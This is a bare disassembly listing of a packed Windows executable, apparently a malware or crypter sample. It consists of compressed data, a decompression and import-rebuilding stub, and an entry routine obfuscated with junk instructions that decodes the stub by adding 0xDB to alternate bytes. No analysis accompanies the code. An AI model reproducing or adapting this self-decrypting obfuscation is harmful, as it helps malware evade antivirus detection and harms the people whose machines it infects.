		dd 72656Ch, 78435F01h, 72685478h, 7845776Fh, 74706563h
		dd 6E6F69h, 72707301h, 66746E69h, 656D0100h, 7465736Dh
		dd 63770100h, 6E656C73h, 74660100h, 6C6C65h, 65736601h
		dd 1006B65h, 70756F74h,	726570h, 72747301h, 6E656Ch, 72747301h
		dd 797063h, 626D5F01h, 63626E73h, 1007970h, 73626D5Fh
		dd 706D63h, 6C616301h, 636F6Ch,	72747301h, 706D63h, 746D6701h
		dd 656D69h, 626D5F01h, 72747373h, 3F3F0100h, 70797431h
		dd 6E695F65h, 40406F66h, 40454155h, 1005A58h, 6C645F5Fh
		dd 656E6F6Ch, 746978h, 6E6F5F01h, 74697865h, 655F0100h
		dd 746978h, 63585F01h, 69467470h, 7265746Ch, 78650100h
		dd 1007469h, 65675F5Fh,	69616D74h, 6772616Eh, 5F010073h
		dd 646D6361h, 1006E6Ch,	696E695Fh, 72657474h, 5F01006Dh
		dd 7465735Fh, 72657375h, 6874616Dh, 727265h, 64615F01h
		dd 7473756Ah, 6964665Fh, 5F010076h, 5F5F705Fh, 6D6D6F63h
		dd 65646Fh, 705F5F01h, 6D665F5Fh, 65646Fh, 735F5F01h, 615F7465h
		dd 745F7070h, 657079h, 78655F01h, 74706563h, 6E61685Fh
		dd 72656C64h, 66010033h, 64616572h, 635F0100h, 72746E6Fh
		dd 70666C6Fh, 1870000h,	22A40000h, 43010001h, 696E556Fh
		dd 6974696Eh, 7A696C61h, 43010065h, 696E496Fh, 6C616974h
		dd 657A69h, 436F4301h, 74616572h, 736E4965h, 636E6174h
		dd 91000065h, 60000001h, 0FF000122h, 9FF000Ch, 8FF00h
		dd 0FF0095FFh, 6FF0096h, 7FF00h, 0FF00C8FFh, 9E000002h
		dd 88000001h, 1000122h,	69464853h, 704F656Ch, 74617265h
		dd 416E6F69h, 1AA0000h,	22900000h, 45010001h, 6C617571h
		dd 74636552h, 6F430100h, 65527970h, 1007463h, 72707377h
		dd 66746E69h, 43010041h, 55726168h, 72657070h, 41h, 50000000h
		dd 4C000045h, 0E1000401h, 4810E5h, 0
		dd 0E0000000h, 0B010F00h, 601h,	120h, 0A0h, 0BA000000h
		dd 117h, 10h, 130h, 4200h, 10h,	4000010h, 0
		dd 4000000h, 2 dup(0)
		dd 1D0h, 10h, 2000000h,	0
		dd 1000h, 10h, 1000h, 10h, 10000000h, 2	dup(0)
		dd 48000000h, 0DC00015Eh, 0
		dd 280001C0h, 3, 12h dup(0)
		dd 0B4000130h, 2, 5 dup(0)
		dd 2E000000h, 74786574h, 55000000h, 119h, 10h, 120h, 10h
		dd 2 dup(0)
		dd 20000000h, 2E600000h, 74616472h, 0A0000061h,	3Dh, 130h
		dd 40h,	130h, 2	dup(0)
		dd 40000000h, 2E400000h, 61746164h, 74000000h, 4Dh, 170h
		dd 10h,	170h, 2	dup(0)
		dd 40000000h, 2EC00000h, 63727372h, 28000000h, 3, 1C0h
		dd 10h,	180h, 2	dup(0)
		dd 40000000h, 400000h, 0D80001C0h, 161h, 1CB3B00h, 2073E100h
		dd 12E7B321h, 6C8590CDh, 0FA4B2385h, 0B1606C09h, 6C1F4722h
		dd 8F646C36h, 153F1DCBh, 1B2594DAh, 9341865h, 1685C1AEh
		dd 2F5AF720h, 612A4201h, 0CC8DAF7Bh, 23A6A29Dh,	0EBDB007h
		dd 6E6BAF6Eh, 6B9120BEh, 9AD65873h, 3526FAE3h, 135C4F33h
		dd 207793B6h, 0C2437A1Bh, 37170EB4h, 1682093h, 0CB076345h
		dd 0CD2B4646h, 0ED27AB2Bh, 8D1EC349h, 54556325h, 0B2501C03h
		dd 2F2E2EE6h, 76347F5Ch, 7FE0733Fh, 7553AFA6h, 8E6363h
		dd 0E5ADA243h, 6E6411DEh, 8AFB4527h, 2CDDB063h,	886870BAh
		dd 1C6F4300h, 6D762E89h, 2F193963h, 0AC20BB6Fh,	77346C5h
		dd 91076146h, 3747205Ah, 6F85D623h, 451BFD38h, 2B42BDF8h
		dd 0AC9DD5B4h, 0ADB52220h, 5333869Dh, 58664F8Dh, 0A8AD6B5Eh
		dd 0B61BE163h, 0B5AD1C99h, 2F531FC1h, 7DC4464Bh, 0D4CDC80Fh
		dd 5A8BED39h, 9B46BDB1h, 0F8473425h, 59BA74ADh,	4CC6EFB2h
		dd 0AB774161h, 7705C464h, 435477F6h, 203A459Eh,	0E182F4C1h
		dd 673AF8A1h, 0E7AA6D75h, 0D92F7BAEh, 0FA2D851Bh, 0B85CCE64h
		dd 29407B46h, 0C0B9EC59h, 93D759B6h, 0FF887925h, 0AED23764h
		dd 21F5DAD0h, 65671C8Dh, 6E66C9FBh, 90660F1Bh, 0AD8D970Bh
		dd 0AD2F61BDh, 3367FB54h, 0B4704386h, 3A575973h, 12191164h
		dd 3572B236h, 0EDB5129Fh, 73710B70h, 6976445Ah,	0AD1E7342h
		dd 235D9B2Dh, 951BF4B2h, 669A10DCh, 29CF566Fh, 85AE6169h
		dd 0A4C3DBD0h, 61C223C3h, 9BE12C78h, 0BDC1C3FCh, 14E72043h
		dd 0B57B7DCBh, 2DED6D18h, 692CB562h, 66F4399Ch,	6C08CE1Dh
		dd 0D83473BBh, 876028E1h, 892F6472h, 836DE19Fh,	6B7C7301h
		dd 610A4796h, 332DEE6h,	78182709h, 114EDA4Ah, 0D1063DAh
		dd 0CD751409h, 799C8D1h, 644A5D8Ch, 0B098CE3Ah,	7B695767h
		dd 7867AC63h, 793935AEh, 29E02C40h, 96B2C89h, 8777557Bh
		dd 31B1BA24h, 0EE37223Ah, 0C06C2372h, 52475281h, 59DF3FEFh
		dd 0ED0AA4C0h, 0DE97225Fh, 0C77FFFFh, 3D6000FFh, 548FDF0Bh
		dd 658E101Bh, 2B2B0008h, 386B16D1h, 5F3719B0h, 38635F07h
		dd 80C8A030h, 424A10h, 3205B494h, 6C288208h, 71044014h
		dd 40023CB9h, 1201801h,	0E283AD43h, 419EDF41h, 4874040Ch
		dd 3F017940h, 9780FBFBh, 74654701h, 7A695315h, 73614C0Ch
		dd 1EC45574h, 370D7014h, 7763C513h, 92694474h, 0D8417913h
		dd 5461B2DFh, 6F6D5911h, 22B71176h, 54534D9Eh, 62D17441h
		dd 0D200B575h, 13732D6Dh, 0FF671047h, 8D84AF77h, 6D6E557Ah
		dd 69567061h, 664F7765h, 0A02253A5h, 477D604Dh,	5D6BDE2Dh
		dd 1046E6DBh, 0DD485721h, 76B0DB2Ch, 564C10FBh,	23246172h
		dd 0C3664195h, 0E86141Ch, 7C51730Ch, 0DC5085FBh, 64644163h
		dd 0A0250FB5h, 0B4C6D64h, 12FBEA4Eh, 6843DBC5h,	4D6F5441h
		dd 79426953h, 61B91474h, 150A992Dh, 0B75B141Fh,	66A98584h
		dd 67D27018h, 76D6C384h, 0E6736CA7h, 530B7459h,	25EDC26Ch
		dd 737203F1h, 0DB500F0Bh, 654EFB0Dh, 539E0E78h,	2B36274h
		dd 49B102C5h, 212F10A3h, 6F4DED08h, 5BAF8464h, 0E7B56954h
		dd 7A6DBA16h, 7B443B44h, 2B23A00Ch, 531697B4h, 15946079h
		dd 961D8C5h, 44FE02CFh,	4263238Ah, 83540E1Eh, 80A661E2h
		dd 656F506Ah, 0DB78AA6Dh, 8506490Fh, 0C3866465h, 630AB6DCh
		dd 0FE4A6D48h, 6602D24Dh, 0F878B05Bh, 0A0BA6E32h, 0B325B5F8h
		dd 72CA2475h, 6CE80B6Dh, 9E1691F6h, 87635E44h, 434C1F19h
		dd 8A794449h, 2423412Ch, 446A6139h, 0D6705565h,	79BD82EEh
		dd 57090A46h, 60A66961h, 0C3378E62h, 4F3E7853h,	4F2B6A62h
		dd 80931848h, 0D8F43D3Bh, 0D64D437Eh, 4154614Eh, 43B7401h
		dd 5D3A17A3h, 31706517h, 42B34E36h, 6745004Dh, 50473AA0h
		dd 79654BECh, 450BE70Ch, 0F75C8219h, 0E3530EEAh, 1360361Eh
		dd 200B0F86h, 0D9A61B51h, 2257B586h, 0DFE85A57h, 0FFFB7F96h
		dd 12FF1B10h, 0FF164E02h, 9EFF03ABh, 0B6305ADh,	0CB2F39FFh
		dd 15C42FB7h, 211433FFh, 9A9CFF10h, 0F6FF021Ch,	5A96D965h
		dd 175C0B20h, 19FF0959h, 0B37BBB05h, 337FBh, 21409F64h
		dd 5F68733Fh, 66406473h, 2FDDED1h, 4040A090h, 16424832h
		dd 6F5F7369h, 0EE80116Fh, 666940AAh, 425117E5h,	0AD6B545h
		dd 5A5848EEh, 172A751Ah, 0B1B27FD3h, 69411280h,	41454129h
		dd 0DB315641h, 40FDF8A8h, 48444150h, 63671E40h,	32074D8h
		dd 4AD90C3Bh, 0EC631A63h, 41E47B00h, 5F3F5845h,	14301544h
		dd 264591BBh, 502CA640h, 0F748FA42h, 79786Bh, 3F68E670h
		dd 76243F31h, 0C558DB83h, 285FAB73h, 554440E9h,	5A19BB10h
		dd 5F8D63D3h, 44CCFF0Eh, 54661840h, 40C35BB4h, 6E7D1556h
		dd 0F115DBD9h, 16403213h, 0B219826Dh, 41476553h, 0B6311C42h
		dd 5A5E8019h, 5F4044BAh, 5161619Bh, 0E7A3F59h, 8ED70549h
		dd 665349B1h, 3E6C5FC3h, 0A94ACFCDh, 675966B2h,	87706E54h
		dd 0FC0CCA27h, 4249324Ch, 0A31D874Bh, 30663492h, 15B05031h
		dd 40057420h, 0D6554D9Eh, 4948DAD8h, 78A55C67h,	9161C731h
		dd 11475494h, 0E54AADC3h, 2AB18F4Dh, 0D81255C1h, 9C63E764h
		dd 59A238DAh, 534E5F41h, 43742040h, 0DC5A0130h,	0B93CD3BAh
		dd 9C7CC9E8h, 0AD836E4Dh, 8B7066Bh, 74056C30h, 2BEDD999h
		dd 69690BDFh, 706D706Eh, 5F4AD00Ah, 6D08A781h, 72DB0754h
		dd 4F7B7093h, 0F5F7A10h, 5BE5B1AFh, 676F3Ah, 664A6D01h
		dd 162E7243h, 2A880E73h, 47F41602h, 79EC5C2h, 435F5FDEh
		dd 0CF467878h, 0B144C0CDh, 6E1120EBh, 54DB4458h, 0F4774C68h
		dd 3AC5AE3Ch, 66ED5C68h, 5A703C5Ch, 77E0E701h, 45CF7363h
		dd 0CEB55ED7h, 0E706E400h, 36956FB7h, 74ACD883h, 0B08E1E97h
		dd 7B258D96h, 0CD0A626Eh, 0F7AF9863h, 670FC766h, 0A920F66Dh
		dd 9759BDEh, 0AC559840h, 440B7BB1h, 0B93764AEh,	9C08F769h
		dd 6258368h, 859D6358h,	9848B076h, 0B0675F12h, 2DBAD04h
		dd 730D446Ah, 5E6C610Eh, 406B9CD7h, 271E569Ah, 0F6DF226Dh
		dd 75D3EB44h, 5688E03h,	642572h, 6AD77BF4h, 64665F75h
		dd 701F7669h, 10CCEC5Fh, 4B6DEAD4h, 0B10B660Dh,	393735B7h
		dd 0A95FF42Ch, 84E11686h, 685F330Fh, 4B66334Ch,	0B9A14368h
		dd 0A03F3E18h, 0D0A87066h, 8789D9B3h, 0DF6F22A4h, 931CFB0h
		dd 490FF05Ch, 26D4110Dh, 6C133791h, 988B669Bh, 0FF609138h
		dd 0B209020Ch, 8B2CB2Ch, 7069695h, 0CB6CD3E2h, 9E5C02C8h
		dd 0D9485388h, 0CE786166h, 1A638E4Fh, 0E8F178AAh, 714590A7h
		dd 20110975h, 5520B99Ch, 0B9E37709h, 0CCA3C743h, 34C855D0h
		dd 0FB60A05Fh, 3455000h, 0E5E12B4Ch, 0FDB34810h, 0E0CE0583h
		dd 0B010F00h, 20550601h, 59EE9A00h, 17BA13A0h, 3630100Bh
		dd 742766EBh, 1E04030Bh, 0CDEE6707h, 27D0004Eh,	1024B200h
		dd 606C9639h, 482F0607h, 1BE4025Eh, 0C050DC62h,	3280001h
		dd 0B76C2BA1h, 1E02B4A7h, 0BD84BC2Eh, 0AF74AEC9h, 98EB1955h
		dd 0BC368238h, 722E9212h, 83086CC1h, 0FB3D0635h, 57020340h
		dd 40B9ACE8h, 6E00262Eh, 36536D4Bh, 27707048h, 36734FC0h
		dd 122B98D8h, 27C0EB0Bh, 0FE004F80h, 0D81B56FDh, 0CB3B1761h
		dd 1, 0
		align 10h


loc_43E4B0:				; DATA XREF: start+102o
		pusha
		mov	esi, offset dword_436000
		lea	edi, [esi-15000h]
		push	edi
		or	ebp, 0FFFFFFFFh
		jmp	short loc_43E4D2
; ---------------------------------------------------------------------------
		align 8


loc_43E4C8:				; CODE XREF: HLXc:loc_43E4D9j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_43E4CE:				; CODE XREF: HLXc:0043E566j
					; HLXc:0043E57Dj
		add	ebx, ebx
		jnz	short loc_43E4D9


loc_43E4D2:				; CODE XREF: HLXc:0043E4C0j
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_43E4D9:				; CODE XREF: HLXc:0043E4D0j
		jb	short loc_43E4C8
		mov	eax, 1


loc_43E4E0:				; CODE XREF: HLXc:0043E4EFj
					; HLXc:0043E4FAj
		add	ebx, ebx
		jnz	short loc_43E4EB
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_43E4EB:				; CODE XREF: HLXc:0043E4E2j
		adc	eax, eax
		add	ebx, ebx
		jnb	short loc_43E4E0
		jnz	short loc_43E4FC
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_43E4E0


loc_43E4FC:				; CODE XREF: HLXc:0043E4F1j
		xor	ecx, ecx
		sub	eax, 3
		jb	short loc_43E510
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		xor	eax, 0FFFFFFFFh
		jz	short loc_43E582
		mov	ebp, eax


loc_43E510:				; CODE XREF: HLXc:0043E501j
		add	ebx, ebx
		jnz	short loc_43E51B
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_43E51B:				; CODE XREF: HLXc:0043E512j
		adc	ecx, ecx
		add	ebx, ebx
		jnz	short loc_43E528
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_43E528:				; CODE XREF: HLXc:0043E51Fj
		adc	ecx, ecx
		jnz	short loc_43E54C
		inc	ecx


loc_43E52D:				; CODE XREF: HLXc:0043E53Cj
					; HLXc:0043E547j
		add	ebx, ebx
		jnz	short loc_43E538
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_43E538:				; CODE XREF: HLXc:0043E52Fj
		adc	ecx, ecx
		add	ebx, ebx
		jnb	short loc_43E52D
		jnz	short loc_43E549
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_43E52D


loc_43E549:				; CODE XREF: HLXc:0043E53Ej
		add	ecx, 2


loc_43E54C:				; CODE XREF: HLXc:0043E52Aj
		cmp	ebp, 0FFFFF300h
		adc	ecx, 1
		lea	edx, [edi+ebp]
		cmp	ebp, 0FFFFFFFCh
		jbe	short loc_43E56C


loc_43E55D:				; CODE XREF: HLXc:0043E564j
		mov	al, [edx]
		inc	edx
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_43E55D
		jmp	loc_43E4CE
; ---------------------------------------------------------------------------
		align 4


loc_43E56C:				; CODE XREF: HLXc:0043E55Bj
					; HLXc:0043E579j
		mov	eax, [edx]
		add	edx, 4
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 4
		ja	short loc_43E56C
		add	edi, ecx
		jmp	loc_43E4CE
; ---------------------------------------------------------------------------


loc_43E582:				; CODE XREF: HLXc:0043E50Cj
		pop	esi
		mov	edi, esi
		mov	ecx, 75Bh


loc_43E58A:				; CODE XREF: HLXc:0043E591j
					; HLXc:0043E596j
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_43E58F:				; CODE XREF: HLXc:0043E5B4j
		cmp	al, 1
		ja	short loc_43E58A
		cmp	byte ptr [edi],	6
		jnz	short loc_43E58A
		mov	eax, [edi]
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		sub	eax, edi
		sub	bl, 0E8h
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		mov	al, bl
		loop	loc_43E58F
		lea	edi, [esi+1C000h]


loc_43E5BC:				; CODE XREF: HLXc:0043E5DEj
		mov	eax, [edi]
		or	eax, eax
		jz	short loc_43E607
		mov	ebx, [edi+4]
		lea	eax, [eax+esi+1E324h]
		add	ebx, esi
		push	eax
		add	edi, 8
		call	dword ptr [esi+1E400h]
		xchg	eax, ebp


loc_43E5D9:				; CODE XREF: HLXc:0043E5FFj
		mov	al, [edi]
		inc	edi
		or	al, al
		jz	short loc_43E5BC
		mov	ecx, edi
		jns	short near ptr loc_43E5EA+1
		movzx	eax, word ptr [edi]
		inc	edi
		push	eax
		inc	edi


loc_43E5EA:				; CODE XREF: HLXc:0043E5E2j
		mov	ecx, 0AEF24857h
		push	ebp
		call	dword ptr [esi+1E404h]
		or	eax, eax
		jz	short loc_43E601
		mov	[ebx], eax
		add	ebx, 4
		jmp	short loc_43E5D9
; ---------------------------------------------------------------------------


loc_43E601:				; CODE XREF: HLXc:0043E5F8j
		call	dword ptr [esi+1E414h]


loc_43E607:				; CODE XREF: HLXc:0043E5C0j
		mov	ebp, [esi+1E408h]
		lea	edi, [esi-1000h]
		mov	ebx, 1000h
		push	eax
		push	esp
		push	4
		push	ebx
		push	edi
		call	ebp
		lea	eax, [edi+20Fh]
		and	byte ptr [eax],	7Fh
		and	byte ptr [eax+28h], 7Fh
		pop	eax
		push	eax
		push	esp
		push	eax
		push	ebx
		push	edi
		call	ebp
		pop	eax
		popa
		lea	eax, [esp-80h]


loc_43E63B:				; CODE XREF: HLXc:0043E63Fj
		push	0
		cmp	esp, eax
		jnz	short loc_43E63B
		sub	esp, 0FFFFFF80h
		jmp	loc_4317BA
; ---------------------------------------------------------------------------
		align 4
		dd 8 dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		mov	ah, 5Bh
		test	ah, bh
		and	ecx, edi
		rcl	esi, 35h
		adc	esi, 0CEA7B405h
		bts	ecx, 44h
		lea	edi, ds:0EE47D4A5h
		bswap	ecx
		lea	edi, ds:0EE7F445h
		db	2Eh
		shld	edi, esi, 0E5h
		shld	edi, esi, cl
		jmp	short loc_43E69A
; ---------------------------------------------------------------------------
		db 73h
; ---------------------------------------------------------------------------


loc_43E69A:				; CODE XREF: start+2Aj
		jmp	short loc_43E69D
; ---------------------------------------------------------------------------
		inc	ecx


loc_43E69D:				; CODE XREF: start:loc_43E69Aj
		test	dl, ch
		db	64h
		rep xor	eax, 0B25B7819h
		bsr	ebp, edi
		bsf	ebx, edx
		bts	ecx, 24h
		shld	edi, esi, 5
		lea	edi, ds:0DEF744D5h
		mov	ecx, edi
		adc	eax, 0FE976475h
		movzx	ecx, di
		mov	esi, ebp
		rep test ebp, 5A23E0A1h
		rep shld ebx, edx, cl
		xchg	ecx, eax
		xadd	ecx, esi
		lea	ebp, ds:2CDDA20Bh
		adc	esi, 168FBCADh
		shl	ecx, 4Ch
		test	eax, 362FDC4Dh
		test	ebx, edx
		inc	edi
		imul	ebp, edi
		inc	ebx
		jmp	short loc_43E6F6
; ---------------------------------------------------------------------------
		db 64h
; ---------------------------------------------------------------------------


loc_43E6F6:				; CODE XREF: start+86j
		not	esi
		bt	ebp, edi
		lea	ebx, ds:4AD350D1h
		db	65h
		mov	ebx, 6A737071h
		neg	ah
		xor	eax, 8A139011h
		xadd	bh, ah
		btc	ebx, 0B1h
		shrd	eax, ebx, cl
		inc	esi
		db	26h
		imul	ebx, edx, 0E24B2889h
		sbb	ah, 9Bh
		mov	dl, al
		jmp	short loc_43E729
; ---------------------------------------------------------------------------
		db 0D4h
; ---------------------------------------------------------------------------


loc_43E729:				; CODE XREF: start+B9j
		db	64h
		neg	ah
		bsf	ebx, edx
		bsf	ecx, eax
		mov	esi, 0B6AF5CCDh
		sub	esp, 4
		mov	[esp+4+var_4], edx
		pop	ecx
		mov	edx, 0C4h
		push	edx
		push	eax
		mov	eax, 11h
		push	eax
		add	ebx, [esp+0Ch+var_C]
		pop	eax
		pop	eax
		sub	ebx, 11h
		pop	ecx
		push	eax
		mov	eax, 11h
		push	eax
		add	ebx, [esp+8+var_8]
		pop	eax
		pop	eax
		push	ecx
		sub	ecx, ecx
		mov	ecx, 11h


loc_43E769:				; CODE XREF: start+FFj
		sub	ebx, 1
		loop	loc_43E769
		pop	ecx
		mov	edi, offset loc_43E4B0
		push	ecx
		sub	ecx, ecx
		mov	ecx, 11h


loc_43E77C:				; CODE XREF: start+112j
		add	ebx, 1
		loop	loc_43E77C
		pop	ecx
		sub	ebx, 11h
		sub	esp, 4
		mov	[esp+4+var_4], edi
		push	eax
		mov	eax, 11h
		push	eax
		add	ebx, [esp+0Ch+var_C]
		pop	eax
		pop	eax
		sub	ebx, 11h


loc_43E79A:				; CODE XREF: start+162j
		add	byte ptr [edi],	0DBh
		push	eax
		mov	eax, 11h
		push	eax
		add	ebx, [esp+0Ch+var_C]
		pop	eax
		pop	eax
		push	ecx
		sub	ecx, ecx
		mov	ecx, 11h


loc_43E7B1:				; CODE XREF: start+147j
		sub	ebx, 1
		loop	loc_43E7B1
		pop	ecx
		add	edi, 2
		push	ecx
		sub	ecx, ecx
		mov	ecx, 11h


loc_43E7C2:				; CODE XREF: start+158j
		add	ebx, 1
		loop	loc_43E7C2
		pop	ecx
		sub	ebx, 11h
		sub	ecx, 1
		dec	ecx
		jnz	short loc_43E79A
		push	ebx
		push	ecx
		sub	ecx, ecx
		mov	ecx, 11h


loc_43E7DA:				; CODE XREF: start+170j
		add	ebx, 1
		loop	loc_43E7DA
		pop	ecx
		push	ecx
		sub	ecx, ecx
		mov	ecx, 11h


loc_43E7E8:				; CODE XREF: start+17Ej
		sub	ebx, 1
		loop	loc_43E7E8
		pop	ecx
		pop	ecx
		retn
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 1000h
HLXc		ends

; Section 4. (virtual address 00020000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00020000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 440000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start